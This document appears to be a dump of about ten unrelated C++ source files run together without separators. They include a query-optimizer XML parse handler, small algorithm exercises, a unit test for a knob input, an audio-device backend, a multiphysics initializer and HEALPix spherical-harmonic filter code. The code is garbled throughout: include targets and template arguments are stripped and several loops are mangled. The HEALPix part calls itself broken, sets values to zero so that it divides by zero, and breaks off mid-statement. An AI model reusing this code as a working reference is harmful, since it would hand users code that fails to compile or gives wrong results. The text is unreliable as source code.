XERCES_CPP_NAMESPACE_USE //--------------------------------------------------------------------------- // @function: // CParseHandlerScalarSubqueryQuantified::CParseHandlerScalarSubqueryQuantified // // @doc: // Constructor // //--------------------------------------------------------------------------- CParseHandlerScalarSubqueryQuantified::CParseHandlerScalarSubqueryQuantified ( IMemoryPool *pmp, CParseHandlerManager *pphm, CParseHandlerBase *pphRoot ) : CParseHandlerScalarOp(pmp, pphm, pphRoot), m_pdxlop(NULL) { } //--------------------------------------------------------------------------- // @function: // CParseHandlerScalarSubqueryQuantified::StartElement // // @doc: // Invoked by Xerces to process an opening tag // //--------------------------------------------------------------------------- void CParseHandlerScalarSubqueryQuantified::StartElement ( const XMLCh* const, // xmlszUri, const XMLCh* const xmlszLocalname, const XMLCh* const, // xmlszQname const Attributes& attrs ) { GPOS_ASSERT(NULL == m_pdxlop); // is this a subquery any or subquery all operator Edxltoken edxltokenElement = EdxltokenScalarSubqueryAll; if(0 == XMLString::compareString(CDXLTokens::XmlstrToken(EdxltokenScalarSubqueryAny), xmlszLocalname)) { edxltokenElement = EdxltokenScalarSubqueryAny; } else if(0 != XMLString::compareString(CDXLTokens::XmlstrToken(EdxltokenScalarSubqueryAll), xmlszLocalname)) { CWStringDynamic *pstr = CDXLUtils::PstrFromXMLCh(m_pphm->Pmm(), xmlszLocalname); GPOS_RAISE(gpdxl::ExmaDXL, gpdxl::ExmiDXLUnexpectedTag, pstr->Wsz()); } // parse operator id IMDId *pmdidOp = CDXLOperatorFactory::PmdidFromAttrs ( m_pphm->Pmm(), attrs, EdxltokenOpNo, edxltokenElement ); // parse operator name const XMLCh *xmlszScalarOpName = CDXLOperatorFactory::XmlstrFromAttrs ( attrs, EdxltokenOpName, edxltokenElement ); CWStringDynamic *pstrScalarOpName = CDXLUtils::PstrFromXMLCh(m_pphm->Pmm(), xmlszScalarOpName); CMDName *pmdnameScalarOp = GPOS_NEW(m_pmp) CMDName(m_pmp, pstrScalarOpName); GPOS_DELETE(pstrScalarOpName); // parse column id ULONG ulColId = CDXLOperatorFactory::UlValueFromAttrs ( m_pphm->Pmm(), attrs, EdxltokenColId, edxltokenElement ); if (EdxltokenScalarSubqueryAny == edxltokenElement) { m_pdxlop = GPOS_NEW(m_pmp) CDXLScalarSubqueryAny(m_pmp, pmdidOp, pmdnameScalarOp, ulColId); } else { m_pdxlop = GPOS_NEW(m_pmp) CDXLScalarSubqueryAll(m_pmp, pmdidOp, pmdnameScalarOp, ulColId); } // parse handler for the child nodes CParseHandlerBase *pphLgChild = CParseHandlerFactory::Pph(m_pmp, CDXLTokens::XmlstrToken(EdxltokenLogical), m_pphm, this); m_pphm->ActivateParseHandler(pphLgChild); CParseHandlerBase *pphScChild = CParseHandlerFactory::Pph(m_pmp, CDXLTokens::XmlstrToken(EdxltokenScalar), m_pphm, this); m_pphm->ActivateParseHandler(pphScChild); // store child parse handler in array this->Append(pphScChild); this->Append(pphLgChild); } //--------------------------------------------------------------------------- // @function: // CParseHandlerScalarSubqueryQuantified::EndElement // // @doc: // Invoked by Xerces to process a closing tag // //--------------------------------------------------------------------------- void CParseHandlerScalarSubqueryQuantified::EndElement ( const XMLCh* const, // xmlszUri, const XMLCh* const xmlszLocalname, const XMLCh* const // xmlszQname ) { if(0 != XMLString::compareString(CDXLTokens::XmlstrToken(EdxltokenScalarSubqueryAll), xmlszLocalname) && 0 != XMLString::compareString(CDXLTokens::XmlstrToken(EdxltokenScalarSubqueryAny), xmlszLocalname)) { CWStringDynamic *pstr = CDXLUtils::PstrFromXMLCh(m_pphm->Pmm(), xmlszLocalname); GPOS_RAISE(gpdxl::ExmaDXL, gpdxl::ExmiDXLUnexpectedTag, pstr->Wsz()); } // construct node from parsed components GPOS_ASSERT(NULL != m_pdxlop); GPOS_ASSERT(2 == this->UlLength()); CParseHandlerScalarOp *pphScChild = dynamic_cast((*this)[0]); CParseHandlerLogicalOp *pphLgChild = dynamic_cast((*this)[1]); m_pdxln = GPOS_NEW(m_pmp) CDXLNode(m_pmp, m_pdxlop); // add constructed child AddChildFromParseHandler(pphScChild); AddChildFromParseHandler(pphLgChild); #ifdef GPOS_DEBUG m_pdxlop->AssertValid(m_pdxln, false /* fValidateChildren */); #endif // GPOS_DEBUG // deactivate handler m_pphm->DeactivateHandler(); } // EOF 100-1000 // C++ program of finding modulo multiplication #include using namespace std; // Returns (a * b) % mod long long moduloMultiplication(long long a, long long b, long long mod) { long long res = 0; // Initialize result // Update a if it is more than // or equal to mod a %= mod; while (b) { // If b is odd, add a with result if (b & 1) res = (res + a) % mod; // Here we assume that doing 2*a // doesn't cause overflow a = (2 * a) % mod; b >>= 1; // b = b / 2 } return res; } // Driver program int main() { long long a = 10123465234878998; long long b = 65746311545646431; long long m = 10005412336548794; cout << moduloMultiplication(a, b, m); return 0; } // This code is contributed // by rvt/bbq-controllerlibtest/src/test_numericknob.hpp #include #include "arduinostubs.hpp" #include #include #include #include SCENARIO("Numeric Input", "[NumericInput]") { auto ai = std::make_shared(1.0f); NumericKnob ni(ai, 150.0f, 90.0f, 240.0f, 0.1); digitalReadPinStubbed = 0; analogReadStubbed = 512; ai->init(); GIVEN("a analog input and numeric knob") { digitalReadStubbed = 1; THEN("Input should not change when analog does not change") { REQUIRE(ni.value() == Approx(150.0)); ai->handle(); ni.handle(); REQUIRE(ni.value() == Approx(150.0)); } THEN("Input should change a little when analog changes a little") { REQUIRE(ni.value() == Approx(150.0)); analogReadStubbed = analogReadStubbed + 5; ai->handle(); ni.handle(); REQUIRE(ni.value() == Approx(150.5)); } THEN("Input should change more when analog changes a more") { REQUIRE(ni.value() == Approx(150.0)); analogReadStubbed = analogReadStubbed + 10; ai->handle(); ni.handle(); REQUIRE(ni.value() == Approx(151.0)); } THEN("Input should change a lot when analog changes a fast") { REQUIRE(ni.value() == Approx(150.0)); analogReadStubbed = analogReadStubbed + 20; ai->handle(); ni.handle(); REQUIRE(ni.value() == Approx(152.0)); } THEN("Input should change back a lot when analog changes a fast") { REQUIRE(ni.value() == Approx(150.0)); analogReadStubbed = analogReadStubbed - 20; ai->handle(); ni.handle(); REQUIRE(ni.value() == Approx(148.0)); } THEN("Input should limit at minimum value") { REQUIRE(ni.value() == Approx(150.0)); analogReadStubbed = 1024; ai->handle(); while (analogReadStubbed > 100) { analogReadStubbed = analogReadStubbed - 100; ai->handle(); ni.handle(); } REQUIRE(ni.value() == Approx(90.0)); } THEN("Input should limit at maximum value") { REQUIRE(ni.value() == Approx(150.0)); analogReadStubbed = 0; ai->handle(); while (analogReadStubbed < 1024 - 100) { analogReadStubbed = analogReadStubbed + 100; ai->handle(); ni.handle(); } REQUIRE(ni.value() == Approx(240.0)); } THEN("Should beable to set value") { REQUIRE(ni.value() == Approx(150.0)); analogReadStubbed = 0; ai->handle(); ni.handle(); ni.value(180.0); ai->handle(); ni.handle(); REQUIRE(ni.value() == Approx(180.0)); } THEN("Should beable to set value not higher or lower than min and max") { REQUIRE(ni.value() == Approx(150.0)); analogReadStubbed = 0; ai->handle(); ni.handle(); ni.value(0.0); ai->handle(); ni.handle(); REQUIRE(ni.value() == Approx(90.0)); ai->handle(); ni.handle(); ni.value(300.0); ai->handle(); ni.handle(); REQUIRE(ni.value() == Approx(240.0)); } } } #pragma GCC optimize ("O2") #include #include using namespace std; typedef long long ll; typedef vector vi; typedef pair pi; #define _ ios::sync_with_stdio(0);cin.tie(0);cout.tie(0); #define FZ(n) memset((n),0,sizeof(n)) #define FMO(n) memset((n),-1,sizeof(n)) #define F first #define S second #define PB push_back #define MP make_pair #define ALL(x) begin(x),end(x) #define SZ(x) ((int)(x).size()) #define REP(i,a,b) for (int i = a; i < b; i++) // Let's Fight! int main() { _ ll n; while(cin >> n){ ll www = n; int run = 0; while(n != 1 && run < 200){ ll s = 0; while(n){ ll w = n % 10; s += w * w; n /= 10; } n = s; run++; } if(n == 1) cout << www << " is a happy number" << '\n'; else cout << www << " is an unhappy number" << '\n'; } return 0; }1-10 class Solution { public: int findUnsortedSubarray(vector& nums) { int N = nums.size(); int i = 0; while (i < N-1 && nums[i] <= nums[i+1]) { i++; } for (int k = i+1; k < N; k++) { while (i >= 0 && nums[i] > nums[k]) { i--; } if (i == -1) { break; } } int j = N-1; while (j > 0 && nums[j] >= nums[j-1]) { j--; } for (int k = j-1; k >= 0; k--) { while (j < N && nums[j] < nums[k]) { j++; } if (j == N) { break; } } if (j <= i) { return 0; } else { return (j - i) - 1; } } }; // (C) Copyright and 2013. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // Repository at: https://github.com/djeedjay/DebugViewPP/ #include "stdafx.h" #include "DebugView++Lib/LogFile.h" #include "DebugView++Lib/FileIO.h" #include "DebugView++Lib/FileWriter.h" namespace fusion { namespace debugviewpp { FileWriter::FileWriter(const std::wstring& filename, LogFile& logfile) : m_logfile(logfile) { OpenLogFile(m_ofstream, filename, OpenMode::Append); m_thread = std::thread(&FileWriter::Run, this); } void FileWriter::Run() { //todo: we need locking on Logfile, think of ClearLog() size_t writeIndex = 0; for (;;) { while (writeIndex < m_logfile.Count()) { auto msg = m_logfile[writeIndex]; ++writeIndex; WriteLogFileMessage(m_ofstream, msg.time, msg.systemTime, msg.processId, msg.processName, msg.text); } m_ofstream.flush(); std::this_thread::sleep_for(std::chrono::seconds(1)); } } } // namespace debugviewpp } // namespace fusion chpatel3/coherence-cpp-extend-client1-10 /* * Copyright (c) 2000, 2020, Oracle and/or its affiliates. * * Licensed under the Universal Permissive License v 1.0 as shown at * http://oss.oracle.com/licenses/upl. */ #ifndef COH_CLASS_ATTRIBUTE_BUILDER_HPP #define COH_CLASS_ATTRIBUTE_BUILDER_HPP #include "coherence/lang.ns" #include "private/coherence/io/pof/reflect/internal/ClassMetadata.hpp" COH_OPEN_NAMESPACE5(coherence,io,pof,reflect,internal) /** * The ClassAttributeBuilder provide the ability to build a * AttributeMetadata implementation. * * @author hr 2011.06.29 * * @since 3.7.1 */ class COH_EXPORT ClassAttributeBuilder : public class_spec > { friend class factory; // ----- constructors --------------------------------------------------- public: ClassAttributeBuilder(); // ----- ClassAttributeBuilder members ---------------------------------- public: /** * Specify the normalized name of the ClassAttribute instance. * * @see ClassAttribute::getName() * * @param vsName the normalized name of the ClassAttribute instance * * @return a reference to this for chained set calls */ virtual ClassAttributeBuilder::Handle setName(String::View vsName); /** * Specify the versionId of this ClassAttribute instance. * * @see ClassAttribute::getVersionId() * * @param nVersionId version of the ClassAttribute instance * * @return a reference to this for chained set calls */ virtual ClassAttributeBuilder::Handle setVersionId(int32_t nVersionId); /** * Specify the index of this ClassAttribute instance used to * sequence many ClassAttribute instances. * * @see ClassAttribute::getIndex() * * @param nIndex index to specify this attributes sequence number * * @return a reference to this for chained set calls */ virtual ClassAttributeBuilder::Handle setIndex(int32_t nIndex); /** * Specify the Codec to use for this ClassAttribute instance. * * @see ClassAttribute::getCodec() * * @param vsCodec the codec to use for this ClassAttribute instance * * @return a reference to this for chained set calls */ virtual ClassAttributeBuilder::Handle setCodec(Codec::View vsCodec); /** * Specify the InvocationStrategy implementation that allows * values to be written and received to the attribute. * * @see ClassAttribute::setInvocationStrategy(InvocationStrategy) * * @param vStrategy the strategy provides an implementation to write * and receive values * * @return a reference to this for chained set calls */ virtual ClassAttributeBuilder::Handle setInvocationStrategy(InvocationStrategy::View vStrategy); /** * Create a ClassAttribute instance based on the values set * during the lifetime of this builder. * * @return an enriched ClassAttribute instance */ virtual ClassMetadata::ClassAttribute::Handle build(); // ----- data members --------------------------------------------------- private: /** * ClassAttribute that is built across the duration of * ClassAttributeBuilder calls until it is returned via the * ::build() method. */ MemberHandle m_hAttribute; }; COH_CLOSE_NAMESPACE5 #endif /* COH_CLASS_ATTRIBUTE_BUILDER_HPP */ src/backends/RtAudio/AudioDevice_RtAudio.cpp10-100 // SPDX-License-Identifier: BSD-3-Clause // Copyright (C) 2020, The LabSound Authors. All rights reserved. #include "AudioDevice_RtAudio.h" #include "internal/Assertions.h" #include "internal/VectorMath.h" #include "LabSound/core/AudioDevice.h" #include "LabSound/core/AudioHardwareDeviceNode.h" #include "LabSound/core/AudioNode.h" #include "LabSound/extended/Logging.h" #include "RtAudio.h" namespace lab { //////////////////////////////////////////////////// // Platform/backend specific static functions // //////////////////////////////////////////////////// std::vector AudioDevice::MakeAudioDeviceList() { std::vector rt_audio_apis{ "unspecified", "linux_alsa", "linux_pulse", "linux_oss", "unix_jack", "macos_coreaudio", "windows_wasapi", "windows_asio", "windows_directsound", "rtaudio_dummy"}; RtAudio rt; if (rt.getDeviceCount() <= 0) throw std::runtime_error("no rtaudio devices available!"); const auto api_enum = rt.getCurrentApi(); LOG_INFO("using rtaudio api %s", rt_audio_apis[static_cast(api_enum)].c_str()); auto to_flt_vec = [](const std::vector & vec) { std::vector result; for (auto & i : vec) result.push_back(static_cast(i)); return result; }; std::vector devices; for (uint32_t i = 0; i < rt.getDeviceCount(); ++i) { RtAudio::DeviceInfo info = rt.getDeviceInfo(i); if (info.probed) { AudioDeviceInfo lab_device_info; lab_device_info.index = i; lab_device_info.identifier = info.name; lab_device_info.num_output_channels = info.outputChannels; lab_device_info.num_input_channels = info.inputChannels; lab_device_info.supported_samplerates = to_flt_vec(info.sampleRates); lab_device_info.nominal_samplerate = static_cast(info.preferredSampleRate); lab_device_info.is_default_output = info.isDefaultOutput; lab_device_info.is_default_input = info.isDefaultInput; devices.push_back(lab_device_info); } else { LOG_ERROR("probing failed %s", info.name.c_str()); } } return devices; } AudioDeviceIndex AudioDevice::GetDefaultOutputAudioDeviceIndex() noexcept { RtAudio rt; if (rt.getDeviceCount() <= 0) return {0, false}; return {rt.getDefaultOutputDevice(), true}; } AudioDeviceIndex AudioDevice::GetDefaultInputAudioDeviceIndex() noexcept { RtAudio rt; if (rt.getDeviceCount() <= 0) return {0, false}; return {rt.getDefaultInputDevice(), true}; } AudioDevice * AudioDevice::MakePlatformSpecificDevice(AudioDeviceRenderCallback & callback, const AudioStreamConfig outputConfig, const AudioStreamConfig inputConfig) { return new AudioDevice_RtAudio(callback, outputConfig, inputConfig); } ///////////////////////////// // AudioDevice_RtAudio // ///////////////////////////// const float kLowThreshold = -1.0f; const float kHighThreshold = 1.0f; const bool kInterleaved = false; AudioDevice_RtAudio::AudioDevice_RtAudio(AudioDeviceRenderCallback & callback, const AudioStreamConfig _outputConfig, const AudioStreamConfig _inputConfig) : _callback(callback) , outputConfig(_outputConfig) , inputConfig(_inputConfig) { if (rtaudio_ctx.getDeviceCount() < 1) { LOG_ERROR("no audio devices available"); } rtaudio_ctx.showWarnings(true); // Translate AudioStreamConfig into RTAudio-native data structures RtAudio::StreamParameters outputParams; outputParams.deviceId = outputConfig.device_index; outputParams.nChannels = outputConfig.desired_channels; LOG_INFO("using output device idx: %i", outputConfig.device_index); if (outputConfig.device_index >= 0) LOG_INFO("using output device name: %s", rtaudio_ctx.getDeviceInfo(outputParams.deviceId).name.c_str()); RtAudio::StreamParameters inputParams; inputParams.deviceId = inputConfig.device_index; inputParams.nChannels = inputConfig.desired_channels; LOG_INFO("using input device idx: %i", inputConfig.device_index); if (inputConfig.device_index >= 0) LOG_INFO("using input device name: %s", rtaudio_ctx.getDeviceInfo(inputParams.deviceId).name.c_str()); authoritativeDeviceSampleRateAtRuntime = outputConfig.desired_samplerate; if (inputConfig.desired_channels > 0) { auto inDeviceInfo = rtaudio_ctx.getDeviceInfo(inputParams.deviceId); if (inDeviceInfo.probed && inDeviceInfo.inputChannels > 0) { // ensure that the number of input channels buffered does not exceed the number available. inputParams.nChannels = (inDeviceInfo.inputChannels < inputConfig.desired_channels) ? inDeviceInfo.inputChannels : inputConfig.desired_channels; inputConfig.desired_channels = inputParams.nChannels; LOG_INFO("[AudioDevice_RtAudio] adjusting number of input channels: %i ", inputParams.nChannels); } } RtAudio::StreamOptions options; // RTAUDIO_MINIMIZE_LATENCY tells RtAudio to use the hardware's minimum buffer size // which is not desirable as the minimum way be too small, and a non-power of 2. //options.flags = RTAUDIO_MINIMIZE_LATENCY; if (!kInterleaved) options.flags |= RTAUDIO_NONINTERLEAVED; // Note! RtAudio has a hard limit on a power of two buffer size, non-power of two sizes will result in // heap corruption, for example, when dac.stopStream() is invoked. uint32_t bufferFrames = AudioNode::ProcessingSizeInFrames; samplingInfo.epoch[0] = samplingInfo.epoch[1] = std::chrono::high_resolution_clock::now(); try { rtaudio_ctx.openStream(&outputParams, (inputParams.nChannels > 0) ? &inputParams : nullptr, RTAUDIO_FLOAT32, static_cast(authoritativeDeviceSampleRateAtRuntime), &bufferFrames, &rt_audio_callback, this, &options); } catch (const RtAudioError & e) { LOG_ERROR(e.getMessage().c_str()); } } AudioDevice_RtAudio::~AudioDevice_RtAudio() { if (rtaudio_ctx.isStreamOpen()) { rtaudio_ctx.closeStream(); } } void AudioDevice_RtAudio::start() { ASSERT(authoritativeDeviceSampleRateAtRuntime != 0.f); // something went very wrong try { rtaudio_ctx.startStream(); } catch (const RtAudioError & e) { LOG_ERROR(e.getMessage().c_str()); } } void AudioDevice_RtAudio::stop() { try { rtaudio_ctx.stopStream(); } catch (const RtAudioError & e) { LOG_ERROR(e.getMessage().c_str()); } } bool AudioDevice_RtAudio::isRunning() const { try { return rtaudio_ctx.isStreamRunning(); } catch (const RtAudioError & e) { LOG_ERROR(e.getMessage().c_str()); return false; } } // Pulls on our provider to get rendered audio stream. void AudioDevice_RtAudio::render(int numberOfFrames, void * outputBuffer, void * inputBuffer) { float * fltOutputBuffer = reinterpret_cast(outputBuffer); float * fltInputBuffer = reinterpret_cast(inputBuffer); if (outputConfig.desired_channels) { if (!_renderBus || _renderBus->length() < numberOfFrames) { _renderBus.reset(new AudioBus(outputConfig.desired_channels, numberOfFrames, true)); _renderBus->setSampleRate(authoritativeDeviceSampleRateAtRuntime); } } if (inputConfig.desired_channels) { if (!_inputBus || _inputBus->length() < numberOfFrames) { _inputBus.reset(new AudioBus(inputConfig.desired_channels, numberOfFrames, true)); _inputBus->setSampleRate(authoritativeDeviceSampleRateAtRuntime); } } // copy the input buffer if (inputConfig.desired_channels) { if (kInterleaved) { for (uint32_t i = 0; i < inputConfig.desired_channels; ++i) { AudioChannel * channel = _inputBus->channel(i); float * src = &fltInputBuffer[i]; VectorMath::vclip(src, 1, &kLowThreshold, &kHighThreshold, channel->mutableData(), inputConfig.desired_channels, numberOfFrames); } } else { for (uint32_t i = 0; i < inputConfig.desired_channels; ++i) { AudioChannel * channel = _inputBus->channel(i); float * src = &fltInputBuffer[i * numberOfFrames]; VectorMath::vclip(src, 1, &kLowThreshold, &kHighThreshold, channel->mutableData(), 1, numberOfFrames); } } } // Update sampling info const int32_t index = 1 - (samplingInfo.current_sample_frame & 1); const uint64_t t = samplingInfo.current_sample_frame & ~1; samplingInfo.sampling_rate = authoritativeDeviceSampleRateAtRuntime; samplingInfo.current_sample_frame = t + numberOfFrames + index; samplingInfo.current_time = samplingInfo.current_sample_frame / static_cast(samplingInfo.sampling_rate); samplingInfo.epoch[index] = std::chrono::high_resolution_clock::now(); // Pull on the graph _callback.render(_inputBus.get(), _renderBus.get(), numberOfFrames, samplingInfo); // Then deliver the rendered audio back to rtaudio, ready for the next callback if (outputConfig.desired_channels) { // Clamp values at 0db (i.e., [-1.0, 1.0]) and also copy result to the DAC output buffer if (kInterleaved) { for (uint32_t i = 0; i < outputConfig.desired_channels; ++i) { AudioChannel * channel = _renderBus->channel(i); float * dst = &fltOutputBuffer[i]; VectorMath::vclip(channel->data(), 1, &kLowThreshold, &kHighThreshold, dst, outputConfig.desired_channels, numberOfFrames); } } else { for (uint32_t i = 0; i < outputConfig.desired_channels; ++i) { AudioChannel * channel = _renderBus->channel(i); float * dst = &fltOutputBuffer[i * numberOfFrames]; VectorMath::vclip(channel->data(), 1, &kLowThreshold, &kHighThreshold, dst, 1, numberOfFrames); } } } } int rt_audio_callback(void * outputBuffer, void * inputBuffer, unsigned int nBufferFrames, double streamTime, RtAudioStreamStatus status, void * userData) { AudioDevice_RtAudio * self = reinterpret_cast(userData); float * fltOutputBuffer = reinterpret_cast(outputBuffer); memset(fltOutputBuffer, 0, nBufferFrames * self->outputConfig.desired_channels * sizeof(float)); self->render(nBufferFrames, fltOutputBuffer, inputBuffer); return 0; } } // namespace lab // | / | // ' / __| _` | __| _ \ __| // . \ | ( | | ( |\__ ` // _|\_\_| \__,_|\__|\___/ ____/ // Multi-Physics // // License: BSD License // Kratos default license: kratos/license.txt // // Main authors: (https://github.com/philbucher) // // System includes // External includes // Project includes #include "utilities/string_utilities.h" #include "model_part_communicator_utilities.h" #include "parallel_fill_communicator.h" #include "distributed_model_part_initializer.h" namespace Kratos { namespace { static constexpr char delim = ';'; void GetSubModelPartHierarchy(const ModelPart& rModelPart, std::string& rModelPartHierarchy) { for (const auto& r_smp : rModelPart.SubModelParts()) { if (rModelPartHierarchy.size() > 0) { // this is not the first time sth is added rModelPartHierarchy.append(std::string(1, delim)); } rModelPartHierarchy.append(r_smp.FullName()); GetSubModelPartHierarchy(r_smp, rModelPartHierarchy); } } void RecursiveCreateModelParts(ModelPart& rModelPart, const std::string& rModelPartName) { auto mp_names = StringUtilities::SplitStringByDelimiter(rModelPartName, '.'); auto model_part_name = mp_names[0]; ModelPart& model_part = rModelPart.HasSubModelPart(model_part_name) ? rModelPart.GetSubModelPart(model_part_name) : rModelPart.CreateSubModelPart(model_part_name); if (mp_names.size() > 1) { RecursiveCreateModelParts(model_part, std::string(rModelPartName).erase(0, model_part_name.size()+1)); } } void CreateSubModelPartHierarchy(ModelPart& rModelPart, const std::string& rModelPartHierarchy) { for (auto& smp_name : StringUtilities::SplitStringByDelimiter(rModelPartHierarchy, delim)) { smp_name.erase(0, rModelPart.Name().size()+1); // remove main-model-part name RecursiveCreateModelParts(rModelPart, smp_name); } } } // anonymous namespace void DistributedModelPartInitializer::Execute() { ModelPartCommunicatorUtilities::SetMPICommunicator(mrModelPart); const auto& r_data_comm = mrModelPart.GetCommunicator().GetDataCommunicator(); std::string model_part_hierarchy; int size_model_part_hierarchy; if (r_data_comm.Rank() == mSourceRank) { GetSubModelPartHierarchy(mrModelPart, model_part_hierarchy); size_model_part_hierarchy = model_part_hierarchy.size(); } // broadcast size to allocate memory r_data_comm.Broadcast(size_model_part_hierarchy, mSourceRank); if (r_data_comm.Rank() != mSourceRank) { model_part_hierarchy.resize(size_model_part_hierarchy); } // broadcast ModelPart hierarchy r_data_comm.Broadcast(model_part_hierarchy, mSourceRank); if (r_data_comm.Rank() != mSourceRank) { CreateSubModelPartHierarchy(mrModelPart, model_part_hierarchy); } // Compute communicaton plan and fill communicator meshes correctly ParallelFillCommunicator(mrModelPart).Execute(); } } // namespace Kratos. src/alm_filter_tools.cxx #include "healpix/alm_filter_tools.h" #include "alm.h" #include "powspec.h" #include "alm_powspec_tools.h" #include "healpix_map.h" #include "fftpack_support.h" //#include "ylmgen.h" #include "openmp_support.h" // FIXME -- this file is broken #define pi 3.14159 using namespace std; template void mf_constantnoise(Alm &sky,Alm &psf) { PowSpec pmap(1,sky.Lmax()); extract_powspec(psf,pmap); double a = 0; for(int l=0;l<=pmap.Lmax();l++) { a += pmap.tt()[l]*(2*l+1); } psf.Scale(1/a); // psf = conjugate(psf); arr scale(pmap.Lmax()+1,0); for(int l=0;l<=pmap.Lmax();l++) { T fact = sqrt(4*pi/(2*l+1)); scale[l] = fact*psf(l,0); } sky.ScaleL(scale); } template void mf_constantnoise(Alm > &sky,Alm > &psf); template void mf_constantnoise(Alm > &sky,Alm > &psf); template void mf_noise(Alm &sky,Alm &psf, Alm &noise) { PowSpec pmap(1,sky.Lmax()); extract_powspec(psf,pmap); PowSpec pnoise(1,sky.Lmax()); extract_powspec(noise,pnoise); double a = 0; for(int l=0;l<=pmap.Lmax();l++) { a += pmap.tt()[l]/pnoise.tt()[l]*(2*l+1); } psf.Scale(1/a); // psf = conjugate(psf); arr scale(pmap.Lmax()+1,0); for(int l=0;l<=pmap.Lmax();l++) { T fact = sqrt(4*pi/(2*l+1)); T fact2 = 1/pnoise.tt()[l]; scale[l] = fact*psf(l,0)*fact2; } sky.ScaleL(scale); } template void mf_noise(Alm > &sky,Alm > &psf, Alm > &noise); template void mf_noise(Alm > &sky,Alm > &psf, Alm > &noise); template void saf_constantnoise(Alm &sky,Alm &psf,double cnl){ PowSpec pmap(1,psf.Lmax()); extract_powspec(psf,pmap); T a = 0; xcomplex b(0,0); xcomplex c(0,0); for(int l=1;l<=psf.Lmax();l++) { a += (2*l+1)*pmap.tt()[l]/cnl; xcomplex fact(l/cnl,0); //FIXME, b += fact*(psf(l,0).conj()-psf(l-1,0)); //FIXME, c += fact*(psf(l,0)-psf(l-1,0)); } //FIXME, double del = sqrt((a*c-b.norm()).norm()); double del(0.); arr scale(psf.Lmax()+1,0); for(int l=1;l<=psf.Lmax();l++) { //FIXME, scale[l] = (c-b*l*(psf(l,0)-psf(l-1,0))); scale[l] = 0.; } sky.Scale(-1/(del*cnl)); sky.ScaleL(scale); } template void saf_constantnoise(Alm > &sky,Alm > &psf, double cnl); template void saf_constantnoise(Alm > &sky,Alm > &psf, double cnl); template void saf_noise(Alm &sky,Alm &psf,Alm &noise){ PowSpec pmap(1,psf.Lmax()); extract_powspec(psf,pmap); PowSpec pnoise(1,noise.Lmax()); extract_powspec(noise,pnoise); double a = 0; xcomplex b(0,0); xcomplex c(0,0); for(int l=1;l<=psf.Lmax();l++) { a += (2*l+1)*pmap.tt()[l]/pnoise.tt()[l]; xcomplex fact(l/pnoise.tt()[l],0); //FIXME, b += fact*(psf(l,0).conj()-psf(l-1,0)); //FIXME, c += fact*(psf(l,0)-psf(l-1,0)); } //FIXME, double del = sqrt((a*c-b.norm()).norm()); double del(0.); arr scale(psf.Lmax()+1,0); for(int l=1;l<=psf.Lmax();l++) { xcomplex fact(1/pnoise.tt()[l],0); //FIXME, scale[l] = (c-b*l*(psf(l,0)-psf(l-1,0)))*fact; scale[l] = 0.; } sky.Scale(-1/del); sky.ScaleL(scale); } template void saf_noise(Alm > &sky,Alm > &psf, Alm > &noise); template void saf_noise(Alm > &sky,Alm > &psf, Alm > &noise); template Alm > conjugate(Alm > &alm) { for(int l=0;l<=alm.Lmax();l++) { for(int m=0;m<=alm.Mmax();m++) { xcomplex *it = alm.mstart(m); it[l].imag(-alm.mstart(m)[l].imag()); } } return alm; } template Alm > conjugate(Alm > &alm); template Alm > conjugate(Alm > &alm); template void map2almdil (const Healpix_Map &map, Alm > &alm, const arr &weight, double R, bool add_alm) { planck_assert (map.Scheme()==RING, "map2alm: map must be in RING scheme"); planck_assert (weight.size()>=2*map.Nside(), "map2alm: weight array has too few entries"); int lmax = alm.Lmax(), mmax = alm.Mmax(), nside = map.Nside(); int nchunks, chunksize; get_chunk_info(2*nside,nchunks,chunksize); arr2 > phas_n(chunksize,mmax+1), phas_s(chunksize,mmax+1); arr cth(chunksize), sth(chunksize); double normfact = pi/(3*nside*nside); if (!add_alm) alm.SetToZero(); for (int chunk=0; chunk > shiftarr(mmax+1), work(4*nside); rfft plan; int ith; #ifdef _OPENMP #pragma omp for schedule(dynamic,1) #endif for (ith=llim; ith Ylm; arr > alm_tmp(lmax+1); int m; #ifdef _OPENMP #pragma omp for schedule(dynamic,1) #endif for (m=0; m<=mmax; ++m) { for (int l=m; l<=lmax; ++l) { alm_tmp[l].real(0.); alm_tmp[l].imag(0.); } for (int ith=0; ith p1 = phas_n[ith][m]+phas_s[ith][m], p2 = phas_n[ith][m]-phas_s[ith][m]; if ((l-m)&1) goto middle; start: alm_tmp[l].real(+p1.real()*Ylm[l]/lambda); alm_tmp[l].imag(+p1.imag()*Ylm[l]/lambda); if (++l>lmax) goto end; middle: alm_tmp[l].real(+p2.real()*Ylm[l]/lambda); alm_tmp[l].imag(+p2.imag()*Ylm[l]/lambda); if (++l<=lmax) goto start; end: ; } } xcomplex *palm = alm.mstart(m); for (int l=m; l<=lmax; ++l) { palm[l].real(+alm_tmp[l].real()); palm[l].imag(+alm_tmp[l].imag()); } } } // end of parallel region } } template void map2almdil (const Healpix_Map &map, Alm > &alm, const arr &weight, double R, bool add_alm); template void map2almdil (const Healpix_Map &map, Alm > &alm, const arr &weight, double R, bool add_alm); template void map2alm_iterdil (const Healpix_Map &map, Alm > &alm, int num_iter, const arr &weight, double R) { // map2almdil(map,alm,weight,R); for (int iter=1; iter<=num_iter; ++iter) { Healpix_Map map2(map.Nside(),map.Scheme(),SET_NSIDE); alm2map(alm,map2); for (int m=0; m &map, Alm > &alm, int num_iter, const arr &weight, double R); template void map2alm_iterdil (const Healpix_Map &map, Alm > &alm, int num_iter, const arr &weight, double R); template Healpix_Map lhood(int level) { Healpix_Map hm(level,::RING); arr map(hm.Npix()); double gamma = 2.5; int startpix, ringpix; double costheta, sintheta; bool shifted; for(int i = 1;i<=2*hm.Nside();i++) { hm.get_ring_info(i,startpix,ringpix, costheta, sintheta, shifted); double t = (1.-costheta)/(1.+costheta); double pipsi = (1-2*t)*pow(1+2*t/gamma,-gamma-2); for(int j=0; j lhood(int level); template Healpix_Map lhood(int level); //------------------FFT misc functions-------------------// // unable to be resolved in global scope // namespace { void init_lam_fact_1d (int m, arr &lam_fact) { for (int l=m; l &lam_fact) { lam_fact[m]=0; for (int l=m+1; l &normal_l) { for (int l=0; l *datain, int nph, int mmax, bool shifted, const arr > &shiftarr, arr > &work) { for (int m=1; m tmp = shifted ? (datain[m]*shiftarr[m]) : datain[m]; work[cnt1] += tmp; work[cnt2] += conj(tmp); } } void read_work (const arr >& work, int nph, int mmax, bool shifted, const arr > &shiftarr, xcomplex *dataout) { int cnt2=0; for (int m=0; m<=mmax; ++m) { dataout[m] = 